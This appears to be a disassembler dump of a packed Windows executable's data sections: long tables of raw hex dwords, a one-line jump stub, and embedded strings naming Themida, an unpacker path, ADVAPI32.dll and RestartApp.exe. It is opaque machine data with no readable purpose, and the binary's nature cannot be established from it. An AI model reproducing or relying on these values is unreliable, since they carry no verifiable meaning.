90242FB5h, 28F1684h dd 11F19C3Bh, 1859F7A5h, 0F367207h, 5D343817h, 6B308Ch dd 5F66BDEBh, 0DDACE934h, 95C073Ah, 9230EDh, 67763363h dd 9831C0F5h, 1D3EE19h, 6BAACA07h, 30203973h, 17B60C0h dd 0E3586DB3h, 20D45C59h, 0B2455248h, 92363F40h, 20B4D6h dd 0E1AE3278h, 8B9953Eh, 659FC80h, 26E750A8h, 7C602F6h dd 0A02CDE3Fh, 0D505C5A2h, 807C0E5Ch, 0DF2EC989h, 9970317h dd 0B4D736A3h, 999A3CF3h, 6D035050h, 0A5865376h, 0BFE8A8C7h dd 608E24F5h, 3EC43CBCh, 1F1B0538h, 0EC172348h, 0F9F45422h dd 0FA4400E8h, 18D4E02Ah, 0ECD06800h, 13FE7CAEh, 25080322h dd 0F766A7DBh, 0A881C900h, 0F5E243C1h, 32620046h, 0F7F6C86Dh dd 8409E47Ah, 0F981C33h, 0E42F2BF8h, 0E650F204h, 634800BAh dd 0BEA7BD64h, 160398F9h, 7192447Bh, 419100AAh, 0E0D30A7Dh dd 6002D02Eh, 0DE7348D9h, 6C56B3h, 57C85D51h, 6F0079B4h dd 61F5549Bh, 0BC1E771h, 282A7F19h, 9023400Fh, 0F4A8F101h dd 620096FEh, 45488B8Ch, 58FC1D11h, 6022A495h, 0D0231B5Ah dd 0C440ED0Eh, 6DD6105Dh, 0DD2E00FAh, 0BE251E0h, 0C1050213h dd 8122A5C7h, 0DF0060F2h, 0DD287596h, 7C00D2BDh, 3537F007h dd 4C55EC33h, 944DD406h, 0AA0BF580h, 2D011CF9h, 0CB051A58h dd 0D1FCA4BEh, 4CECA083h, 88760038h, 0CFF0CAF2h, 0FB07E122h dd 0EAE05646h, 0DECC7880h, 20791D59h, 0C6C300E2h, 3F1F6A3Bh dd 0FA04D20Ch, 1E22283Dh dword_54BD44 dd 511832Ah, 80568245h, 0A03B78A8h, 39421900h, 0F4370CF1h dd 8805007Ch, 0CEA20D4Eh, 5906EE2Eh, 0E9F145FBh, 48FA3348h dd 87C0BC51h, 4C00093Fh, 8A0A0258h, 0DAC2EFh, 14A4E8Ch dd 0C678EE5Fh, 7EDF3A00h, 0F0F77F66h, 0C9BE6312h, 800C811h dd 0D0C307EAh, 1BA309Dh, 6833E466h, 0C55FAD4Bh, 49D9DCC6h dd 4C601907h, 90E07231h, 0A77E962h, 0F6C6F255h, 7FD01128h dd 7709A700h, 88FD7C4Ch, 0B66D30E9h, 0A182F598h, 0C67DEE00h dd 3EF03906h, 41451B97h, 41009AE0h, 0A00FA47Bh, 78175C63h dd 0D2C70369h, 0CCC05FE4h, 12FA4DC8h, 0C683F900h, 0A4BFE037h dd 6B8CA843h, 4D56382Bh, 51CC1118h, 0CA00AD86h, 0D5D255A2h dd 1F9C90CFh, 0C0202671h, 0C47E75FEh, 1E3EE0CCh, 9076017Fh dd 31B7688Bh, 500A5FCCh, 0FA32A4BBh, 1FFF0782h, 0B0C8CB3Dh dd 0B6E7A3E9h, 13C3CD3Eh, 390120F9h, 0E2F54F89h, 0CFC04057h dd 0FF7064h, 0D53051D3h, 0FA1D6727h, 0B974F937h, 1303B1D0h dd 6B60007Eh, 0D1A8412Fh, 4D00688Dh, 32D35C4Fh, 48E80B3Dh dd 0A08044ECh, 17304BD6h, 494AFC30h, 1C28241Dh, 5CF883D8h dd 54FA09C1h, 0BF025830h, 3146A330h, 30861D99h, 0F2114CFBh dd 0B7A0F9A2h, 0D015325h, 0E8BD65A1h, 0F4202ED5h, 0E1260022h dd 18FA366Ah, 42E80964h, 50DFAC24h, 8A035091h, 595EC4C9h dd 0FC9DF6B1h, 4900E554h, 0E1792B31h, 0E2F187FFh, 2468A0CEh dd 90DD1425h, 0E400AC8Dh, 6B8CAF43h, 0CF18913Bh, 0C129F1EEh dd 576400D8h, 5A4D147h, 8400FD03h, 89C88BEFh, 80BF1280h dd 730031EAh, 3703A5CCh, 79CE4D02h, 0C0511CC8h, 64F4F44Ch dd 8B0CC08Ch, 0C701D9F0h, 102A721Dh, 9822EF15h, 98E7FF1Fh dd 3AF31291h, 65141800h, 0E2E31CCBh, 260E01B1h, 678962FDh dd 8DD824F0h, 3B749C03h, 0E03E7307h, 0C32B724h, 0F9F00F44h dd 5261859h, 0A10089BAh, 61CD8A4Dh, 6FD0064h, 0C1EFEA66h dd 713DB2F1h, 5EF28068h, 3A84EE80h, 321838FBh, 0F1C31018h dd 870F3E2Dh, 0C1CBE9ACh, 37804DD2h, 196CEDF4h, 29C110D9h dd 0F3D7E4BBh, 0F006C501h, 0DD4C485Dh, 5797B30h, 0FBEF32CCh dd 0A7E44051h, 7B5D64EBh, 0A486BF00h, 67DBC96h, 0C8890C58h dd 9A29416Fh, 15BC7652h, 380ED67h, 32FECDC7h, 0D57DF8E3h dd 0D6A350A8h, 91250378h, 0AC67961h, 0C3755AAAh, 0DE81E744h dd 6EC83251h, 951D2D4h, 4E84B720h, 3C3492A6h, 221C7FE0h dd 0E63B272Eh, 0EC84D000h, 0C0FAE560h, 0F58F06D2h, 0A1C04FFBh dd 938A18B8h, 28B10F54h, 48C4DF74h, 8C009059h, 0AD0017A0h dd 6A0BC6C5h, 18840D02h, 4155FC57h, 94001310h, 44749F97h dd 60497565h, 8E30C045h, 1152DB1Bh, 494CB0h, 0D59C7BD7h dd 5CE2Ah, 0D3C76C39h, 0FAEA4BFBh, 421FCC01h, 3E7B7FBFh dd 18E6C0EFh, 9FA100C3h, 0DB70FF55h, 5E3E9039h, 2CFA00E5h dd 77DEBB31h, 0A34E3CC7h, 25521100h, 0BACF457Dh, 0B0234D06h dd 3C480492h, 4280B8FAh, 0A7E88414h, 0DB309C1Ah, 40E67817h dd 4771C0E5h, 0D9444A71h, 72342600h, 2351A72Dh, 0CD8301C0h dd 0D40DAFF0h, 3D6EE460h, 64BB9604h, 3880B9F5h, 302A5FD2h dd 0CC7099A4h, 0BF098DEBh, 58A948C7h, 890501A7h, 77BA4EBDh dd 79B5E445h, 6CC3A31Ch, 55719A00h, 60F4B343h, 72EF9924h dd 0BD00B7C6h, 4C8F1660h, 0E2B4FCBh, 70A84B28h, 3DD97CFh dd 9FA6B9A4h, 80757903h, 0E1EEF95Dh, 56EC7871h, 65CF80Bh dd 0CD9C827Eh, 2906611Ch, 20EE8F4Bh, 0C9FB3F11h, 8E454300h dd 42BA83BFh, 0B2BB9209h, 409B024Ah, 2794A0F4h, 148691E5h dd 0A4CD9B29h, 0B370B587h, 6CD89E16h, 19C0A456h, 0D1957918h dd 159D0A08h, 2243FE1h, 2E5090Dh, 86EDCD40h, 0A9F39300h dd 0CC237A88h, 8EEE0047h, 0D9979677h, 79021058h, 7529F2A5h dd 22ECA701h, 9C08821Fh, 466C90CEh, 14A101DAh, 0A9988C18h dd 1F2DF41Ah, 0B7FABE1Dh, 9857A6CAh, 0FF5158Bh, 0C88301AEh dd 6843D19Bh, 0BD4000B7h, 776DAF4Ch, 231E9CA4h, 9D40DD2h dd 7A7CC0D4h, 760D906h, 5CDCB568h, 0BAB4430Ah, 9697F801h dd 32713614h, 0D46DFE4h, 98A60F3Fh, 0A017E081h, 494E8200h dd 0AE8A1012h, 88A8035Ah, 0EF9D919Ah, 241F2800h, 545C07BDh dd 0B57CDEh, 1E834540h, 6D807F36h, 0EA3E0515h, 0D6FB0FACh dd 0E150C099h, 0AA0EBEh, 2458DF59h, 92B7ED8Ah, 35980FFh dd 237470A5h, 65B207A4h, 30502007h, 0F3B76C15h, 0A9537F30h dd 37199635h, 701151A6h, 4749CD4Dh, 79F24030h, 745B7C2h dd 6712143Ch, 5629F14Dh, 79F84898h, 5AFEDB00h, 0AA9A97CAh dd 508130F3h, 8A28DD51h, 0B805F514h, 299305BCh, 0F4200273h dd 9092F92Bh, 0AC48050Ch, 401FF5BAh, 0E7EFDAC0h, 0B010552h dd 0F35DDF36h, 59A8E54Ch, 90FC5090h, 614700C1h, 6EAAA5A2h dd 0DC09B6DDh, 2B7B4A1h, 281AD18Ch, 0AB4600DCh, 0EF8F7ABCh dd 2452511Ch, 836E449h, 29063C78h, 1A1FF71h, 79C1DF86h dd 92933BECh, 440592C0h, 1800F4F5h, 2290F291h, 0D94D00B1h dd 0B284ACAh, 3705F8AFh, 0F03E3D75h, 0A1389440h, 0C5F35BAh dd 0F658D14Bh, 0E88B1B78h, 90B59143h, 0C72114D0h, 4A2AA4E7h dd 28B41278h, 0B8083003h, 330023B6h, 5B868C0Eh, 499DBAFh dd 0F95390B2h, 248C5B4h, 7B4B9AB4h, 268044AEh, 0D98C8A92h dd 0F188F400h, 81F8F20Ah, 5F220DB6h, 0F268070Eh, 0EC271020h dd 93BE04D5h, 87432F22h, 6CE04F0Dh, 4E81B7E1h, 9D67F600h dd 0F3ADA44Ah, 0B9E6000Bh, 462BD877h, 15509088h, 809F0C0h dd 10A428CFh, 264DAE38h, 0A80E74Bh, 81BCCD7Ah, 77B7046Bh dd 89D02044h, 5A96E48h, 9254022Ah, 3FBEC404h, 45F0C8h dd 46BF84EBh, 4E759636h, 500053EEh, 441BC45Dh, 0A8D30C0h dd 0EC3481CBh, 0FAFB00B4h, 9D18A2A4h, 0EB0FDC98h, 0A37958DAh dd 0AF48C4AEh, 575F01AFh, 1414A256h, 0C78FDCFEh, 0B9BD3C0h dd 7600230Fh, 9983A9C0h, 0F685D781h, 0C68D3E4Dh, 29F46D8Ch dd 72002541h, 0A645EB48h, 1885611h, 0DD8386C3h, 0F1DC3660h dd 514EF518h, 0F86AD28Ch, 0A806F31Ch, 0B1E471FDh, 0AFE23DF8h dd 89E3313h, 4C80CD98h, 222ACF82h, 835E14CCh, 2960A09Ch dd 6BA89397h, 6DECD30Ah, 183ED0E0h, 0EF50B59Bh, 34BC00BAh dd 4E19517Fh, 7C18F98Eh, 8B18A6CCh, 93DCA1BEh, 0A014B4D0h dd 0E62CADh, 77029E4Ch, 0BC80DEF5h, 0EB2D3800h, 0DF2622E5h dd 8F8600D0h, 9D6DA4A5h, 0AC79798h, 3F508A96h, 4C9BEC77h dd 7894C8D2h, 3EDC7405h, 6AB443F7h, 0AD80EBE4h, 0B6133026h dd 84083BB8h, 40BE9CE8h, 17CF6534h, 4F00E775h, 3B3648CDh dd 58356B0Dh, 22228879h, 80643F48h, 3E1F9ADDh, 0B725189Dh dd 928DF074h, 0A331C202h, 68537B29h, 0B1ED6C30h, 4BD803A0h dd 0A8E13E2Ah, 793A70A5h, 4DC4B700h, 0A6C1076h, 48B990h dd 0A3D87BA8h, 6218BA42h, 8A190591h, 0AB3F0B3Ah, 0BD803B7Dh dd 8659F648h, 65DB7E09h, 2F80801Ah, 6C7B58h, 1149054Eh dd 0D21224BEh, 8220563Dh, 181B47DCh, 7C468Eh, 0EF0F7EE2h dd 865B59B7h, 84CD731Bh, 0B2BEA01Eh, 2F40794h, 560F8111h dd 0A100D127h, 0B9E27260h, 415E6Fh, 0F973DAE9h, 114A98E5h dd 481CEC07h, 4C34E101h, 0F2A1C081h, 16008C63h, 2EC6CF83h dd 8002814Eh, 0B11C91CBh, 0D478C097h, 22D107B8h, 4E2FE724h dd 4DE23940h, 1513D98Fh dd 0D8006025h, 7AB8BBB7h, 7CC75CA4h, 586CDC00h, 0AED6A61Eh dd 0F87488A3h, 8855A524h, 83141980h, 22027EEh, 0B8DDF709h dd 8C486F3h, 77B60501h, 0F89A56CBh, 35039055h, 85782806h dd 209BC443h, 0F54DE80Eh, 0B1F37AB2h, 61D40084h, 1DD79B28h dd 804AE9CFh, 7BC5DD27h, 96020015h, 84F753B9h, 0D0489B31h dd 903F89ECh, 8DFDACh, 5823BC0Ch, 0F4D47A49h, 0A8970502h dd 405DD267h, 479A38h, 984366D6h, 0AE2B1F8Dh, 50CFC51Fh dd 841A1982h, 0B705194h, 3D0FE18Ch, 77BFC0DCh, 0BA970608h dd 2A23B012h, 0BDE409h, 0A1BB9548h, 2B7C28CBh, 5DC62E96h dd 299C8074h, 65CDA843h, 0F4A9050Bh, 55A40494h, 0C925ED46h dd 0DCD28100h, 0E93B1C9Bh, 0BF6E652h, 702805CAh, 0E3178810h dd 3E6D51C3h, 0A2F900EFh, 90768197h, 6707899Fh, 0BA2A4DBCh dd 8EB58300h, 34E54A5Fh, 8CC0801Ch, 0F4A002AFh, 6609035h dd 0F69B6A61h, 376D0F7Bh, 0FA7CE065h, 0BD7F4B80h, 63580FC0h dd 70F14E1Fh, 6E098BD6h, 6C6C11F5h, 7E55DF0h, 0C4550EC3h dd 60A3E0CAh, 0A638883Dh, 4F919233h, 82731840h, 7EDD401h dd 0CCC462DFh, 3851C0FEh, 290645ECh, 1AB97520h, 44EA179Ch dd 2C7814B4h, 286DBEC0h, 51CB5071h, 7BFC90A5h, 255F0055h dd 3957F74Eh, 171DD061h, 0F31D4285h, 90BC4754h, 0FB641E5Ch dd 0EA383480h, 1575D1h, 1E20D0AFh, 78A0FE2Ah, 104AD8A1h dd 6B83F66h, 9193964Dh, 0E1008151h, 0EB7D2B0Eh, 666017h dd 5D0B3968h, 35BDFA0h, 35A55402h, 66253473h, 6FC10FB4h dd 5CE0F444h, 1A928853h, 0F9A8AAA0h, 4CE6E83Ch, 59DA8060h dd 0EF7BECh, 23124203h, 6BE7E924h, 0B8A40B0Ch, 0C8C38F2h dd 0EE3F46E2h, 4E7B2161h, 32B63B00h, 0F37D9324h, 6E282CFFh dd 0D49B425Ch, 0EF09D0ECh, 0F1B148Eh, 80408B94h, 349D85D0h dd 23580402h, 0A2287D60h, 1B380074h, 0B57A22DEh, 2AF74E6h dd 310F2359h, 58C0B2B1h, 0CC25D325h, 5504109Bh, 0A7E3177Ch dd 865400D6h, 289C81A5h, 4795D3Bh, 0ABB1F56Bh, 500514FAh dd 44C06428h, 0FCB9ED9Fh, 6B5E7100h, 7C2B93h, 406D0BC2h dd 0ED9AAFC4h, 0FF01CC52h, 60FBFFh, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_54C7AC: ; CODE XREF: start:loc_4E0265j ; DATA XREF: start:loc_4E0086o jmp loc_54FC51 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- align 4 dd 0A7FFDD00h, 0FFh, 4 dup(0) dd 0FE030400h, 7Fh, 76456200h, 54h, 7 dup(0) dd 0A2156000h, 0Ch dup(0) dd 3F9F800h, 5 dup(0) dd 54DB7500h, 6 dup(0) dd 0A794C100h, 5C0000FFh, 2, 5D45E500h, 598B7E00h, 0B8000000h dd 5 dup(0) dd 309F300h, 2D72741Fh, 5Fh, 4 dup(0) dd 0F1BC8A00h, 0FFFFFF36h, 0FFh, 9 dup(0) dd 0A169DD00h, 2 dup(0) dd 0FFC3D000h, 0FFh, 0 dd 9D6FE500h, 3 dup(0) dd 9CF000h, 0 dd 0EA91F500h, 52925A0Eh, 8Fh, 8 dup(0) dd 0AD030400h, 0E6D70680h, 9D43B677h, 6Fh, 8 dup(0) dd 0E7796300h, 77h, 7BB45900h, 53h, 0B285F400h, 54DB7500h dd 3 dup(0) dd 0ECFEEE00h, 6Bh, 0 dd 0C3458500h, 12h, 0 dd 83E900h, 0 dd 400h, 0A169DD00h, 0 dd 12FEF000h, 0 dd 59ECB700h, 5C3A4300h, 6E755F6Dh, 6B636170h, 7265h, 82h dup(0) dd 0ACB2D400h, 58002389h, 0 dd 649F00h, 92h, 0 dd 8E800h, 2 dup(0) dd 0FF971700h, 0FFh, 3 dup(0) dd 40000000h, 2 dup(0) dd 0C3E00h, 6 dup(0) dd 3D00h, 6 dup(0) dd 8800h, 3 dup(0) dd 58937900h, 5 dup(0) dd 14AA6400h, 6 dup(0) dd 5BBD5300h, 0 dd 0FF9BBC00h, 0FFh, 4 dup(0) dd 12FF6400h, 0FE030400h, 7Fh, 0 dd 0A169DD00h, 2A5C00h, 0Eh dup(0) dd 0A2156800h, 0 dd 1FCFC00h, 80h, 0 dd 9916EC00h, 0E793EF58h, 77h, 0FEC6E800h, 7Fh, 200h, 0 dd 0FE030400h, 17Fh, 4 dup(0) dd 100h, 3 dup(0) dd 0A242E700h, 34h, 2 dup(0) dd 12FF6400h, 0Ch dup(0) dd 0C800h, 4 dup(0) dd 0A5999500h, 2 dup(0) dd 58429A00h, 2 dup(0) dd 6C00h, 12h dup(0) dd 12FFF000h, 0EC00h, 9 dup(0) dd 0E2DA00h, 0 dd 3D9400h, 4 dup(0) dd 0E76A2E00h, 0C3698D77h, 1, 3 dup(0) dd 0F129B400h, 7003h, 0Ah dup(0) dd 0FE030400h, 7Fh, 7 dup(0) dd 0FFA0CC00h, 0FFh, 72661700h, 0A8h, 2 dup(0) dd 21212100h, 0FE030421h, 0FE0A047Fh, 0A18C0A7Fh, 2 dup(0) dd 0A00A9A00h, 3 dup(0) dd 6AEF00h, 0A1A00F00h, 0 dd 58937900h, 0 dd 0A169DD00h, 9 dup(0) dd 9800h, 2 dup(0) dd 54CD0900h, 2 dup(0) dd 0AC00h, 6 dup(0) dd 0E7796300h, 77h, 0FE030400h, 5810597Fh, 5C607700h, 0D2BB9400h dd 63h, 0 dd 0E04C1600h, 1, 100h, 0 dd 0A7BD6600h, 0FFh, 0FE030400h, 17787Fh, 7 dup(0) dd offset dword_5A2400 dd 0 dd 5A1E6100h, 3 dup(0) dd 0D369800h, 5A000000h, 2, 2 dup(0) dd 8400h, 1FCFC00h, 0E8361480h, 0FE030477h, 4000007Fh dd 2 dup(0) dd 0A7BDA900h, 0FFh, 33333300h, 2 dup(33333333h), 33h dd 0DD5ECC00h, 77h, 5 dup(0) dd 58937900h, 0 dd 6AEF00h, 0 dd 165DD300h, 57h, 0 dd 21FFB000h, 2, 2 dup(0) dd 99E900h, 0 dd 12FEF000h, 9 dup(0) dd 91FFB000h, 1, 138h dup(0) dd 5A7FFF00h, 3 dup(0) dd 69C400h, 0 dd 5890FC00h, 2 dup(0) dd 58425700h, 0 dd 0FFFFFF00h, 0FFh, 2 dup(0) dd 5C3A4300h, 444E4957h, 5C53574Fh, 74737953h, 32336D65h dd 5644415Ch, 33495041h, 6C642E32h, 6Ch, 3Ch dup(0) dd 4DE00000h, 0DCEDAD00h, 0D8h, 58818100h, 0 dd 5DD2A200h, 7400h, 8 dup(0) dd 24242400h, 24h, 0F669F500h, 0F8h, 5 dup(0) dd 0FF919600h, 0FFh, 0Ah dup(0) dd 57D39E00h, 32h, 2 dup(0) dd 235E00h, 0 dd 0FE2E9400h, 7Fh, 37077200h, 75h, 5B33E600h, 0Ch dup(0) dd 8700h, 0E776CD00h, 77h, 0FF8AF000h, 0FFh, 8 dup(0) dd 0A16CB000h, 0A1FA5600h, 4 dup(0) dd 26847E00h, 6Dh, 0Bh dup(0) dd 0D6051700h, 5Ah, 5A08C000h, 9 dup(0) dd 550A4D00h, 5C1FEB00h, 0Ah dup(0) dd 0A2C61600h, 7Fh, 100h, 0D93A0B00h, 5Bh, 6BD61600h, 79h dd 15h dup(0) dd 3F41F00h, 75h, 3 dup(0) dd 2D00h, 5 dup(0) dd 0FE030400h, 7Fh, 3 dup(0) dd 591ABC00h, 8 dup(0) dd 3A000h, 4 dup(0) dd 0E78B8200h, 77h, 2 dup(0) dd 200000h, 0 dd 215BFB00h, 4A8D8D29h, 0ECh, 6 dup(0) dd 5BBC8600h, 12FF6400h, 0Ah dup(0) dd 0A000h, 0 dd 54002300h, 0 dd 6AEF00h, 0 dd 0E82FE800h, 0A991BD77h, 7Fh, 2 dup(0) dd 0BBC7EF00h, 5Eh, 0 dd 0FE030400h, 66EB397Fh, 0FFh, 0FE030400h, 7Fh, 9000h dd 12h dup(0) dd 60EB00h, 0 dd 6AEF00h, 9 dup(0) dd 5D000000h, 2, 2 dup(0) dd 3D9400h, 0 dd 5D504600h, 4 dup(0) dd 0D6ADFE00h, 0BB79DB77h, 1Fh, 6 dup(0) dd 0A222D800h, 0 dd 42000800h, 2, 0E6772100h, 93D8777h, 7D13Bh, 4001D800h dd 7 dup(0) dd 0FE030400h, 7Fh, 0FE030400h, 7Fh, 0 dd 3B000h, 0E21A7A00h, 0F1h, 0AB2FA300h, 0FFh, 4 dup(0) dd 0FE477800h, 0FFh, 0D1A2F300h, 0D2h, 5 dup(0) dd 400h, 2 dup(0) dd 9CADFB00h, 14h, 0AF000000h, 0 dd 5A9F2F00h, 0Ch dup(0) dd 5B000000h, 2, 3 dup(0) dd 96337100h, 70h, 0A0003E00h, 5 dup(0) dd 1FCFC00h, 80h, 2 dup(0) dd 0C0E39200h, 0ACh, 3 dup(0) dd 0FF18D000h, 0FFh, 5 dup(0) dd 7EDB00h, 585C0F00h, 18h dup(0) dd 0B3FFFD00h, 0 dd 0E8216800h, 77h, 99030400h, 14Dh, 0 dd 0A223E800h, 5 dup(0) dd 0A169DD00h, 8 dup(0) dd 59ECB700h, 3 dup(0) dd 1E000000h, 5ECDCB00h, 2 dup(0) dd 4C010F00h, 24h, 0Eh dup(0) dd 5AA2F300h, 2 dup(0) dd 0FE030400h, 7Fh, 0 dd 2E7200h, 0 dd 12FFE000h, 5 dup(0) dd 5A95E300h, 2 dup(0) dd 73655200h, 74726174h, 2E707041h, 657865h, 1FCFC00h dd 80h, 5ABFCD00h, 7 dup(0) dd 586B3F00h, 2 dup(0) dd 2B00h, 2 dup(0) dd 5C1FEB00h, 4 dup(0) dd 329D8200h, 40981D06h, 31h, 0 dd 426CB800h, 102h, 0FE030400h, 7Fh, 0Ch dup(0) dd 0FE030400h, 7Fh, 58429A00h, 2 dup(0) dd 5A56CC00h, 2 dup(0) dd 1FCFC00h, 80h, 5 dup(0) dd 3D9400h, 0 dd 0B800h, 0C00B0000h, 18C20374h, 24448B00h, 0E8530Ch dd 5B000000h, 17C381h, 5C890000h, 44891024h, 0B85B1424h dd 0A1A037h, 448BE0FFh, 0E0FF0424h, 13h dup(0) dd 0EDE900h, 5834DF00h, 0 dd 0F267E00h, 6Bh, 0 dd 0B1633400h, 40000000h, 2 dup(0) dd 100h, 7 dup(0) dd 0FE030400h, 7Fh, 2 dup(0) dd 0E776CD00h, 77h, 0E6003E00h, 5D609677h, 54DEDD00h, 0F5000000h dd 77h, 0 dd 5AA28C00h, 0E78B8200h, 0A8FCDC77h, 5BB9587Fh, 3 dup(0) dd 11140200h, 65h, 3 dup(0) dd 0A1923400h, 4 dup(0) dd 0E2F500h, 3 dup(0) dd 0A169DD00h, 0D4C96A00h, 0A7BD6677h, 0FFh, 5 dup(0) dd 0A18C0A00h, 0 dd 0A00FE600h, 0 dd 0A242E700h, 34h, 5A21A900h, 0 dd 586B5100h, 0FFF99F00h, 0DD9C4AFFh, 47E2817h, 2 dup(0) dd 55597400h, 86h, 2 dup(0) dd 3C7A300h, 38h, 10h dup(0) dd 200h, 0FFD04800h, 0FFh, 0 dd 4A6BD700h, 2, 0F52E0F00h, 0C530DF77h, 0A9h, 2 dup(0) dd 58002300h, 0Bh dup(0) dd 1E73CE00h, 6Bh, 35FB9C00h, 7Fh, 2 dup(0) dd 58FAC500h, 4 dup(0) dd 183000h, 4 dup(0) dd 110B5F00h, 0Ah dup(0) dd 5B000000h, 2, 4A6BD700h, 58103F02h, 6 dup(0) dd 8D99E900h, 57h, 0CD9DAB00h, 69h, 4 dup(0) dd 6AEF00h, 3 dup(0) dd 0FF344800h, 0FFh, 0FF48E500h, 0FFh, 0FE030400h, 7Fh dd 54002300h, 2 dup(0) dd 95825900h, 0A169DD71h, 0 dd 170AD00h, 0 dd 4E464C00h, 0A7h, 100h, 4 dup(0) dd 0A12BDE00h, 3 dup(0) dd 637E2100h, 12FEF8E1h, 3 dup(0) dd 0FE1CB000h, 0A232687Fh, 3 dup(0) dd 974B4000h, 0E7A099FFh, 0EC77h, 0B41B4000h, 53C5D976h dd 2Fh, 5 dup(0) dd 0A169DD00h, 0F5180B00h, 77h, 2 dup(0) dd 0C22D3F00h, 3813h, 6 dup(0) dd 5BBDCF00h, 7800h, 0Bh dup(0) dd 0DD000000h, 0A169DD77h, 3 dup(0) dd 6ADD00h, 0 dd 0E7AC5E00h, 0F68D8D77h, 39h, 100h, 1517E900h, 0C5h dd 3 dup(0) dd 0FE030400h, 7Fh, 3 dup(0) dd 5E1700h, 0 dd 5C841E00h, 9 dup(0) dd 7C00h, 3 dup(0) dd 0A6E6F100h, 337D57Fh, 16h dup(0) dd 185F00h, 3 dup(0) dd 4497800h, 3 dup(0) dd 58FAC500h, 0 dd 379900h, 58429A00h, 0 dd 0EA4E6700h, 76h, 0 dd 0FE030400h, 7Fh, 0FE030400h, 7Fh, 0Fh dup(0) dd 0A170C400h, 4 dup(0) dd 0E7A5FD00h, 0FBBE0477h, 0FAh, 0ADBC8200h, 2 dup(0) dd 574DFE00h, 0FFh, 5 dup(0) dd 99E900h, 0 dd 0FE030400h, 7Fh, 0A3CAFF00h, 0FFh, 0C530DF00h, 0A9h dd 0D3B43700h, 586B3FB2h, 0Fh dup(0) dd 0FE030400h, 7Fh, 0 dd 0A37FD800h, 2 dup(0) dd 0A18C0A00h, 0 dd 586B3F00h, 6 dup(0) dd 0A109F700h, 9 dup(0) dd 35FB9D00h, 7Fh, 54EEA500h, 5 dup(0) dd 58002300h, 5C6CAE00h, 2214000h, 7 dup(0) dd 0A400h, 0 dd 0E8000h, 0 dd 0FE1CFE00h, 7Fh, 42000000h, 2, 2 dup(0) dd 0E5D8C200h, 0B9FBF138h, 0C3FDFD78h, 0F3h, 0DFB40800h dd 42h, 3 dup(0) dd 6425AB00h, 1, 0FE7A8000h, 7Fh, 5 dup(0) dd 0A1314500h, 0A2156800h, 15h dup(0) dd 3E592400h, 0BFh, 10h dup(0) dd 0A6D44300h, 0FFh, 4FFFBA00h, 2710FFh, 0E805D800h, 77h dd 4 dup(0) dd offset dword_5C0900 dd 9 dup(0) dd 40000000h, 5A3DF300h, 0C0F0BE00h, 0FFh, 8 dup(0) dd 58000000h, 0 dd 0FFFFFF00h, 0FFh, 0 dd 9B60000h, 1, 2 dup(0) dd 5501A400h, 72661700h, 0A8h, 2 dup(0) dd 0A794C100h, 0FFh, 0 dd 7000h, 5 dup(0) dd 54EEA600h, 5D609600h, 2 dup(0) dd 644000h, 0A16CB000h, 5 dup(0) dd 54E27D00h, 2 dup(0) dd 0E000h, 7 dup(0) dd 0A13E3B00h, 2 dup(0) dd 1ED1400h, 4 dup(0) dd 8D99E900h, 7CEF9757h, 0F8h, 0 dd 0A1939300h, 4 dup(0) dd 5BB62600h, 0 dd 8000h, 2 dup(0) dd 0F853B300h, 170AD1Ch, 2 dup(0) dd 68D95000h, 1902h, 0FE030400h, 7Fh, 6 dup(0) dd 0FFFF6400h, 0FFh, 3D9400h, 0Dh dup(0) dd 0A7BD6600h, 0FFh, 3 dup(0) dd 58143000h, 3 dup(0) dd 95825900h, 71h, 0 dd 40000000h, 4 dup(0) dd 352C1D00h, 6Fh, 0 dd 0D8757900h, 71h, 5 dup(0) dd 0F7EBB300h, 77h, 3 dup(0) dd 18D200h, 54DB7500h, 65685400h, 6164696Dh, 1Dh dup(0) dd 8C49C100h, 57h, 5A95E300h, 0 dd 490AC200h, 80h, 0 dd 9000000h, 8E000000h, 2, 5 dup(0) dd 3A00000h, 0A6F9C100h, 0FFFFFF7Fh, 0FFh, 6AEF00h, 3 dup(0) dd 0FB097D00h, 0FFh, 5C042500h, 6 dup(0) dd 0A800h, 5 dup(0) dd 0DD23D700h, 5BE2FE77h, 4Bh, 2 dup(0) dd 5BA5B800h, 92E91Bh, 2 dup(0) dd 0F0CF5000h, 0CBh, 2 dup(0) dd 0A2B87200h, 0FFh, 0 dd 0A6F07100h, 0FFh, 5 dup(0) dd 0A1949900h, 58965700h, 2A00h, 0FF000000h, 5DD2A2FFh dd 4 dup(0) dd 0A15E2E00h, 5 dup(0) dd 0A0A26E00h, 7Fh, 5 dup(0) dd 490AC200h, 80h, 5BB80300h, 0A242E700h, 34h, 9C00h, 59196B00h dd 4 dup(0) dd 0E6772600h, 59793177h, 0 dd 40100000h, 0 dd 0A606A500h, 0FFh, 0 dd 170AD00h, 3 dup(0) dd 143AF00h, 564300h, 0DD59F000h, 0AC004677h, 19EFC00h dd 80h, 4 dup(0) dd 0FE317600h, 0A539DA7Fh, 0FF9196FFh, 0FFh, 2Ch dup(0) dd 0BDA9E900h, 3Ah, 1FCFC00h, 80h, 6 dup(0) dd 5BBFB200h, 0EB91B300h, 0C0h, 2 dup(0) dd 0AFB1CA00h, 4 dup(0) dd 5812B200h, 0 dd 0FF6D1700h, 0FFh, 4 dup(0) dd 0CFE63200h, 420008FFh, 2, 54E27900h, 2 dup(0) dd 0FFFEF000h, 4FFh, 7 dup(0) dd 0FE030400h, 7Fh, 7 dup(0) dd 0A1A03700h, 3 dup(0) dd 100h, 5A576200h, 2 dup(0) dd 6EE2F500h, 55h, 0A242E700h, 34h, 2 dup(0) dd 0DB7FA700h, 26h, 6AEF00h, 0 dd 5959F800h, 3 dup(0) dd 0C530DF00h, 6B6A9h, 3 dup(0) dd 0FE030400h, 7Fh, 0 dd 5B9A6E00h, 200h, 2 dup(0) dd 5DBD1900h, 0CBh, 0 dd 0E3259900h, 58974A4Dh, 0E83E6800h, 0FC324677h, 0FFh dd 8 dup(0) dd 5959F800h, 8 dup(0) dd 0B7FFEE00h, 0FFh, 7 dup(0) dd 100h, 2 dup(0) dd 58E9BC00h, 0 dd 100h, 63h dup(0) dd 5FF7FF00h, 0 dd 12FEF000h, 6 dup(0) dd 0E7C48600h, 77h, 5BBC8600h, 0 dd 58E9BC00h, 0Ah dup(0) dd 99E900h, 5C84E700h, 2 dup(0) dd 0A58D5300h, 2 dup(0) dd 0E776CD00h, 12FFE077h, 0E75CB500h, 77h, 3 dup(0) dd 4001D800h, 5 dup(0) dd 5B33EF00h, 0A0000000h, 3 dup(0) dd 